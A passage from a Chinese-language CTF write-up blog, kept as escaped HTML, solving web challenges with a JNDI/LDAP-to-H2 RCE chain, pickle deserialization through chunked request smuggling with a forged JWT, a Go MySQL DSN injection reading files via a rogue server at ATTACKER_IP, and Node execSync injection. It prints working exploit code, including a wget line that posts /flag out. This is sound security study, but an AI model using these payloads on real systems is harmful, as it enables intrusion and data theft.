size-full wp-image-1864\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-object.png\" alt=\"\" width=\"933\" height=\"614\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-object.png 933w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-object-300x197.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-object-150x99.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-object-768x505.png 768w\" sizes=\"auto, (max-width: 933px) 100vw, 933px\" \/><\/p>\n<p>\u8fd9\u91cc\u53ef\u4ee5\u770b\u89c1 className \u8ddf factory \u90fd\u53ef\u63a7\u4e86\uff0c\u6ce8\u610f\u8fd9\u4e2a RefAddr\uff0c\u7ee7\u7eed\u5f80\u4e0b\u627e\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1865\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-reference.png\" alt=\"\" width=\"845\" height=\"593\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-reference.png 845w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-reference-300x211.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-reference-150x105.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-decode-reference-768x539.png 768w\" sizes=\"auto, (max-width: 845px) 100vw, 845px\" \/><\/p>\n<p>\u6700\u540e\u4e5f\u5c31\u662f\u5f53\u505a StringRefAddr \u53c2\u6570\u52a0\u8fdb\u53bb\u4e86\uff0c\u81f3\u6b64\u8ddf RMI \u8c03\u7528\u94fe\u5b8c\u5168\u4e00\u81f4\uff0c\u6309\u7167\u5b83\u7684\u683c\u5f0f\u8d77\u4e00\u4e2a ldap \u5373\u53ef\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1866\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref.png\" alt=\"\" width=\"1055\" height=\"534\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref.png 1055w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref-300x152.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref-1024x518.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref-150x76.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/ezldap-code-reference-strref-768x389.png 768w\" sizes=\"auto, (max-width: 1055px) 100vw, 1055px\" \/><\/p>\n<p>\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cCREATE TRIGGER \u597d\u50cf\u56e0\u4e3a\u7248\u672c\u7684\u539f\u56e0\u6253\u4e0d\u901a\uff0c\u6362\u6210 RUNSCRIPT FROM \u7ee7\u7eed\u6253\u3002\u8fdc\u7a0b\u73af\u5883\u662f Alpine\uff0c\u6ca1\u6709 bash\uff0c\u7528 <code>wget --post-file \/flag<\/code> \u5e26\u51fa\u6570\u636e\u3002<\/p>\n<pre class=\"lang:plsql decode:true \" title=\"H2 script to RCE\">CREATE ALIAS EXECz AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"\";}';\r\nCALL EXECz ('wget --post-file \/flag http:\/\/IP:PORT\/')<\/pre>\n<p>&nbsp;<\/p>\n<pre class=\"lang:java decode:true \" title=\"POC\">package com.example.demo;\r\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\r\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\r\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\r\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\r\nimport com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;\r\nimport com.unboundid.ldap.sdk.Entry;\r\nimport com.unboundid.ldap.sdk.LDAPException;\r\nimport com.unboundid.ldap.sdk.LDAPResult;\r\nimport com.unboundid.ldap.sdk.ResultCode;\r\nimport com.unboundid.util.Base64;\r\n\r\nimport javax.net.ServerSocketFactory;\r\nimport javax.net.SocketFactory;\r\nimport javax.net.ssl.SSLSocketFactory;\r\nimport java.net.InetAddress;\r\nimport java.net.MalformedURLException;\r\nimport java.text.ParseException;\r\n\r\n\r\npublic class ldap_server {\r\n\r\n    private static final String LDAP_BASE = \"dc=example,dc=com\";\r\n    public static void main (String[] args) {\r\n        int port = 1389;\r\n        try {\r\n            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);\r\n            config.setListenerConfigs(new InMemoryListenerConfig(\r\n                    \"listen\",\r\n                    InetAddress.getByName(\"0.0.0.0\"),\r\n                    port,\r\n                    ServerSocketFactory.getDefault(),\r\n                    SocketFactory.getDefault(),\r\n                    (SSLSocketFactory) SSLSocketFactory.getDefault()));\r\n\r\n            config.addInMemoryOperationInterceptor(new OperationInterceptor());\r\n            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);\r\n            System.out.println(\"Listening on 0.0.0.0:\" + port);\r\n            ds.startListening();\r\n\r\n        }\r\n        catch ( Exception e ) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n\r\n    private static class OperationInterceptor extends InMemoryOperationInterceptor {\r\n        public OperationInterceptor () {\r\n        }\r\n\r\n        @Override\r\n        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {\r\n            String base = result.getRequest().getBaseDN();\r\n            Entry e = new Entry(base);\r\n            try {\r\n                sendResult(result, base, e);\r\n            }\r\n            catch ( Exception e1 ) {\r\n                e1.printStackTrace();\r\n            }\r\n\r\n        }\r\n        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {\r\n            e.addAttribute(\"objectClass\", \"javaNamingReference\"); \/\/$NON-NLS-1$\r\n            e.addAttribute(\"javaClassName\", \"javax.sql.DataSource\");\r\n            e.addAttribute(\"javaFactory\", \"org.apache.tomcat.jdbc.pool.DataSourceFactory\");\r\n            String JDBC_URL = \"jdbc:h2:mem:memdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/REMOTE_IP\/h2.sql'\";\r\n            e.addAttribute(\"javaReferenceAddress\", \"#0#driverClassName#org.h2.Driver\");\r\n            e.addAttribute(\"javaReferenceAddress\", \"#1#url#\"+JDBC_URL);\r\n            e.addAttribute(\"javaReferenceAddress\", \"#2#username#sa\");\r\n            \/\/e.addAttribute(\"javaReferenceAddress\", \"#3#password#\");\r\n            e.addAttribute(\"javaReferenceAddress\", \"#3#initialSize#1\");\r\n            e.addAttribute(\"javaReferenceAddress\", \"#4#init#true\");\r\n            result.sendSearchEntry(e);\r\n            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\r\n        }\r\n    }\r\n}\r\n<\/pre>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"font-size: 20px;\"><strong><a id=\"d3pythonhttp\"><\/a>\u00a02024\u5e744\u6708\u00a0 D^3CTF<br \/>\n<\/strong><\/span><\/p>\n<ul>\n<li>\n<p><span style=\"font-size: 20px;\"><strong>web &gt;&gt; d3pythonhttp<\/strong><\/span><\/p>\n<\/li>\n<\/ul>\n<p>\u524d\u9762 Flask\uff0c\u540e\u9762 web.py\uff0c\u660e\u663e\u662f\u5229\u7528\u89e3\u6790\u5dee\u5f02\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1867\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-flask-dechunk.png\" alt=\"\" width=\"784\" height=\"240\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-flask-dechunk.png 784w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-flask-dechunk-300x92.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-flask-dechunk-150x46.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-flask-dechunk-768x235.png 768w\" sizes=\"auto, (max-width: 784px) 100vw, 784px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1868\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-webpy-dechunk.png\" alt=\"\" width=\"648\" height=\"206\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-webpy-dechunk.png 648w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-webpy-dechunk-300x95.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-webpy-dechunk-150x48.png 150w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/p>\n<p>Flask \u8fd9\u91cc\u662f lower()\uff0c\u5e95\u4e0b\u7684 web.py \u76f4\u63a5\u5224\u65ad\uff0c\u6240\u4ee5\u53d6 &#8220;Chunked&#8221; \u53ef\u4ee5\u4f7f\u524d\u9762\u6b63\u5e38\u89e3\u6790\u800c\u540e\u9762\u4fdd\u7559\u3002<\/p>\n<p>Fuzz \u4e00\u4e0b\uff0c\u53d1\u73b0 Flask \u5bf9 Content-Length \u4e0d\u654f\u611f\uff0cwsgi \u89e3\u5b8c chunk \u540e web.py \u521a\u597d\u6839\u636e CL \u622a\u65ad\uff0c\u53ef\u4ee5\u628a\u540e\u9762\u7684 Backdoor&#8230; \u5b57\u7b26\u4e32\u5220\u53bb\uff0c\u4fdd\u7559\u524d\u8fb9\u5b8c\u6574\u7684 base64 payload\u3002<\/p>\n<p>\u5bf9\u4e8e jwt \u7684\u90e8\u5206\uff0ckid \u53ef\u4ee5\u76ee\u5f55\u7a7f\u8d8a\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\uff0c\u968f\u4fbf\u9009\u4e00\u4e2a\u5f53 key \u5c31\u53ef\u4ee5\u3002\u4e0b\u56fe\u4e2d\u8fd9\u4e2a\u6587\u4ef6\u8bfb\u51fa\u6765\u662f &#8220;Linux&#8221;\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1869\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-kid.png\" alt=\"\" width=\"414\" height=\"353\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-kid.png 414w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-kid-300x256.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3hp-kid-150x128.png 150w\" sizes=\"auto, (max-width: 414px) 100vw, 414px\" \/><\/p>\n<p>\u6700\u540e\u76f4\u63a5 pickle R(CE) \u5373\u53ef\uff0c\u7531\u4e8e\u4e0d\u51fa\u7f51\uff0c\u76f4\u63a5 exec \u66ff\u6362 index.GET \u9ed8\u8ba4\u8def\u7531\u56de\u663e\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import base64, pickle, socket\r\n\r\nclass R(object):\r\n    def __reduce__(self):\r\n        return (exec, ('index.GET=(lambda x: __import__(\"os\").popen(\"cat \/Secr3T_Flag\").read());', ))\r\n\r\npayload = base64.b64encode(pickle.dumps(R()))\r\n\r\ndata = f'''POST \/admin HTTP\/1.1\r\nHost: python-backend:8080\r\nCookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL3Byb2Mvc3lzL2tlcm5lbC9vc3R5cGUifQ.eyJ1c2VybmFtZSI6ImEiLCJpc2FkbWluIjp0cnVlfQ.QNAZtiSeedmA7mnPacjjkjBlf3gb5QXXjEy-9USsYAQ\r\nTransfer-Encoding: Chunked\r\nContent-Length: {len(payload)}\r\n\r\n{hex(len(payload))[2:]}\r\n{payload.decode()}\r\n1c\r\nBackdoorPasswordOnlyForAdmin\r\n0\r\n\r\n'''.encode().replace(b'\\r\\n', b'\\n').replace(b'\\n', b'\\r\\n')\r\n\r\nprint(data.decode())\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect(('47.116.173.108', 31303))\r\n\r\ns.send(data)\r\nprint(s.recv(4096).decode())\r\nprint(s.recv(4096).decode())<\/pre>\n<p><a id=\"doctor\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; Doctor<\/strong><\/span><\/li>\n<\/ul>\n<p>\u5148\u5ba1\u8ba1\u8def\u7531\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230 Recorder \u6743\u9650\u68c0\u6d4b\u4e86\u4e00\u4e2a IsWebsocket() \uff0c\u8ddf\u8fdb\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1870\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-iswebsocket.png\" alt=\"\" width=\"729\" height=\"499\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-iswebsocket.png 729w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-iswebsocket-300x205.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-iswebsocket-150x103.png 150w\" sizes=\"auto, (max-width: 729px) 100vw, 729px\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\uff0c\u53ea\u662f\u5224\u65ad\u4e86\u4e24\u4e2a HTTP \u8bf7\u6c42\u5934\uff0c\u800c websocket \u7684\u4ea4\u4e92\u8fc7\u7a0b\u9700\u8981\u670d\u52a1\u7aef\u8fd4\u56de 101 \u624d\u80fd\u6b63\u5e38\u5efa\u7acb\u3002\u56e0\u6b64\uff0c\u5e26\u8fd9\u4e24\u4e2a\u5934\u8bf7\u6c42 API \u65f6\uff0c\u53ef\u4ee5\u7ed5\u8fc7 Recorder \u9274\u6743\uff0c\u800c\u4e0d\u5f71\u54cd Endpoint \u63a7\u5236\u5668\u5904\u7406\u6d41\u7a0b\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1871\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket.png\" alt=\"\" width=\"1066\" height=\"341\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket.png 1066w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket-300x96.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket-1024x328.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket-150x48.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-iswebsocket-768x246.png 768w\" sizes=\"auto, (max-width: 1066px) 100vw, 1066px\" \/><\/p>\n<p>\u6709\u4e00\u70b9\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u8fd9\u79cd\u7ed5\u8fc7\u65b9\u6cd5\u4e0b\uff0c\u63a7\u5236\u5668\u4ee3\u7801\u4e5f\u4e0d\u80fd\u5305\u62ec\u4efb\u4f55\u5bf9\u4e8e jwt \u7684\u89e3\u6790\uff0c\u5426\u5219\u4f1a\u62a5\u9519\uff0c\u65e0\u6cd5\u7ee7\u7eed\u3002<\/p>\n<p>\u4ece\u4f17\u591a\u7684\u8def\u7531\u4e2d\u8c28\u614e\u5730\u9009\u51fa\u4e86\u4e00\u4e2a\uff0cYearningFetchApis -&gt; FetchResourceForGet -&gt; FetchTableInfo -&gt; FetchTableFieldsOrIndexes<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1872\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-fetchtable.png\" alt=\"\" width=\"631\" height=\"607\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-fetchtable.png 631w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-fetchtable-300x289.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-fetchtable-150x144.png 150w\" sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/p>\n<p>\u5176\u4e2d model.CoreDataSource \u5728\u9898\u76ee\u73af\u5883\u4e2d\u4e0d\u5b58\u5728\u76f8\u5e94\u8bb0\u5f55\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ea\u6709 u.DataBase \u53ef\u63a7\u3002<\/p>\n<p>\u51fd\u6570 NewDBSub() \u4f7f\u7528 sql driver \u6253\u5f00\u4e86 DSN \u8fde\u63a5\uff0cInitDSN() \u6700\u7ec8\u4f1a\u8c03\u7528\u5230 FormatDSN() \u5c06 DSN \u7ed3\u6784\u4f53\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\uff0c\u7ee7\u7eed\u8ddf\u8fdb\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1873\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-newdb.png\" alt=\"\" width=\"578\" height=\"273\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-newdb.png 578w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-newdb-300x142.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-newdb-150x71.png 150w\" sizes=\"auto, (max-width: 578px) 100vw, 578px\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\uff0c\u8fd9\u91cc\u76f4\u63a5\u5c06\u6211\u4eec\u53ef\u63a7\u7684 DBName \u5199\u5165\u4e86 connection string \u4e2d\uff0c\u800c\u4e14\u6211\u4eec\u7684\u76ee\u6807\uff0cLOCAL INFILE \u7684\u5f00\u542f\u9009\u9879 allowAllFiles \u5c31\u5728\u5e95\u4e0b\u3002\u5982\u679c\u80fd\u591f\u6784\u9020\u5b57\u7b26\u4e32\u6df7\u6dc6 DSN \u7684\u89e3\u6790\uff0c\u4f7f\u5176\u8fde\u63a5\u5230\u6076\u610f MySQL \u670d\u52a1\u5668\uff0c\u518d\u5f00\u542f\u8fd9\u4e2a\u53c2\u6570\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u8bfb \/flag \u4e86\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1874\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-formatdsn.png\" alt=\"\" width=\"531\" height=\"548\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-formatdsn.png 531w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-formatdsn-291x300.png 291w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-formatdsn-145x150.png 145w\" sizes=\"auto, (max-width: 531px) 100vw, 531px\" \/><\/p>\n<p>\u518d\u770b\u89e3\u6790\u6d41\u7a0b\uff0c\u53ef\u4ee5\u53d1\u73b0\u5b83\u662f\u4ece\u540e\u5f80\u524d\u5339\u914d\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u5728 dbname \u540e\u63d2\u5165 &#8216;\/&#8217; \u4ee5\u8986\u76d6\u53c2\u6570\uff0c\u540c\u6837\u63d2\u5165 &#8216;@&#8217; \u8986\u76d6 net(addr)\uff0c\u7528\u6237\u540d\u4e0d\u53ef\u63a7\uff0c\u4f46\u662f\u8fd9\u4e0d\u91cd\u8981\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1875\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-parsedsn.png\" alt=\"\" width=\"862\" height=\"597\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-parsedsn.png 862w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-parsedsn-300x208.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-parsedsn-150x104.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-code-parsedsn-768x532.png 768w\" sizes=\"auto, (max-width: 862px) 100vw, 862px\" \/><\/p>\n<p>\u81f3\u6b64\uff0c\u653b\u51fb\u94fe\u5df2\u7ecf\u6784\u9020\u5b8c\u6210\uff0cpoc \u975e\u5e38\u7b80\u5355\uff1a<\/p>\n<p><code>curl -vv -H \"Connection: upgrade\" -H \"Upgrade: websocket\" \"http:\/\/106.14.121.29:30167\/api\/v2\/fetch\/fields?data_base=@tcp(ATTACKER_IP:3306)\/db?allowAllFiles=true%26&amp;table=1\"<\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1876\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-flag.png\" alt=\"\" width=\"634\" height=\"248\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-flag.png 634w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-flag-300x117.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-flag-150x59.png 150w\" sizes=\"auto, (max-width: 634px) 100vw, 634px\" \/><\/p>\n<p>\uff08\u9644\u6ce8\uff1a\u4e00\u76f4\u4e60\u60ef\u5728 github \u4e0a\u7ffb\u6700\u65b0\u7684\u6e90\u4ee3\u7801\uff0c\u9ed8\u8ba4\u5404\u7ec4\u4ef6\u51e0\u4e4e\u90fd\u662f up-to-date \u7684\u3002\u4f46\u662f\u672c Yearning \u5f15\u5165\u7684 go-sql-driver \u7248\u672c\u4e3a 1.7.3\uff0c\u800c\u5982\u4e0b\u7684 issue \u4fee\u590d\u4e86\u8fd9\u4e2a\u95ee\u9898\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1877\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue.png\" alt=\"\" width=\"1151\" height=\"444\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue.png 1151w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue-300x116.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue-1024x395.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue-150x58.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/doctor-github-issue-768x296.png 768w\" sizes=\"auto, (max-width: 1151px) 100vw, 1151px\" \/><\/p>\n<p><a id=\"moonbox\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; moonbox<\/strong><\/span><\/li>\n<\/ul>\n<p>\u9996\u5148\u5728 Dockerfile \u91cc\u53ef\u4ee5\u53d1\u73b0 root \u5f31\u5bc6\u7801\u4ee5\u53ca SSH \u5f00\u542f\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1878\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-dockerfile.png\" alt=\"\" width=\"883\" height=\"210\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-dockerfile.png 883w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-dockerfile-300x71.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-dockerfile-150x36.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-dockerfile-768x183.png 768w\" sizes=\"auto, (max-width: 883px) 100vw, 883px\" \/><\/p>\n<p>\u7136\u540e\u7b80\u5355\u5730\u5ba1\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\/api\/console-agent\/fileUpload \u53ef\u4ee5\u4e0a\u4f20 sandbox-agent.tar\uff0c\/api\/record\/run \u53ef\u4ee5\u8fde\u63a5\u5230\u76ee\u6807 SSH \u6267\u884c\u5982\u4e0b\u4ee3\u7801\u7247\u6bb5\uff08<code>RecordRunController.run() -&gt; AbstractTaskRunService.taskRun() -&gt; AgentDistributionServiceImpl.startAgent() -&gt; startServerAgent()<\/code>\uff09\u3002\u7531\u4e8e tar \u5305\u5185\u5bb9\u6211\u4eec\u53ef\u63a7\uff0c\u76f4\u63a5\u8986\u76d6\u5e95\u4e0b\u90a3\u4e2a start-remote-agent.sh \u8fde\u672c\u673a\u5f39 rev shell \u5373\u53ef\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1879\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code.png\" alt=\"\" width=\"1166\" height=\"182\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code.png 1166w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code-300x47.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code-1024x160.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code-150x23.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/moonbox-code-768x120.png 768w\" sizes=\"auto, (max-width: 1166px) 100vw, 1166px\" \/><\/p>\n<p><a id=\"stack_overflow\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; stack_overflow<\/strong><\/span><\/li>\n<\/ul>\n<p>\u4ee3\u7801\u6570\u636e\u6df7\u6dc6\uff0c\u7b2c\u4e00\u4e2a read \u5728 23 \u884c\uff0c\u800c\u4e00\u4e0b\u5b50\u53ef\u4ee5\u8bfb\u8fdb\u6765 28 \u884c\uff0c\u8986\u76d6\u63a5\u4e0b\u6765\u7684\u6307\u4ee4\u3002\u6b63\u5219\u7684 waf \u8fc7\u6ee4\u4e0d\u5b8c\u5168\uff0c\u4e24\u4e2a {{ }} \u4e4b\u95f4\u53ef\u4ee5\u4f7f\u7528\u6362\u884c\u7b26\u7ed5\u8fc7\uff0c\u4e14\u4e0d\u5f71\u54cd eval() \u6b63\u5e38\u6267\u884c\u3002\u7136\u540e\u968f\u4fbf\u6784\u9020\u56de\u663e\u5373\u53ef\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1880\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3ctf-stackoverflow.png\" alt=\"\" width=\"354\" height=\"230\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3ctf-stackoverflow.png 354w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3ctf-stackoverflow-300x195.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/d3ctf-stackoverflow-150x97.png 150w\" sizes=\"auto, (max-width: 354px) 100vw, 354px\" \/><\/p>\n<p><code>{\"stdin\":[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"23\",\"24\",\"{{respond[0]=process.mainModule.require('child_process').execSync('cat \/flag').toString()\\n}}\",\"result\",\"write\",\"exit\"]}<\/code><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><strong><a id=\"noumisotuitennnoka\"><\/a><span style=\"font-size: 20px;\">\u00a02023\u5e7411\u6708\u00a0 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a<\/span><br \/>\n<\/strong><\/p>\n<ul>\n<li>\n<p><strong><span style=\"font-size: 20px;\">web &gt;&gt; noumisotuitennnoka<\/span><br 